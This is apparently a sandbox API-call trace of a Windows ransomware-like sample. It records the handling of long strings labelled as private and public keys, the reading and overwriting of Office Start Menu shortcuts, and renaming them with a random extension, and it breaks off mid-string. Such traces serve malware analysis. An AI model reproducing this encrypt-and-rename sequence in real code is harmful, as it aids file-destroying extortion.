KmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.599] GetCurrentThreadId () returned 0xa30 [0133.599] GetCurrentThreadId () returned 0xa30 [0133.599] GetCurrentThreadId () returned 0xa30 [0133.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.600] GetCurrentThreadId () returned 0xa30 [0133.600] GetCurrentThreadId () returned 0xa30 [0133.600] GetCurrentThreadId () returned 0xa30 [0133.600] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.600] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.600] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.600] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb67 [0133.600] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.601] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xb67, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xb67, lpOverlapped=0x0) returned 1 [0133.624] CloseHandle (hObject=0x1e8) returned 1 [0133.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.626] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xb67, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xb67, lpOverlapped=0x0) returned 1 [0133.628] CloseHandle (hObject=0x1e8) returned 1 [0133.628] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk.zv7un")) returned 1 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] GetCurrentThreadId () returned 0xa30 [0133.630] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0133.630] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.630] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.630] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87)) returned 1 [0133.631] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk")) returned 0x20 [0133.631] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcO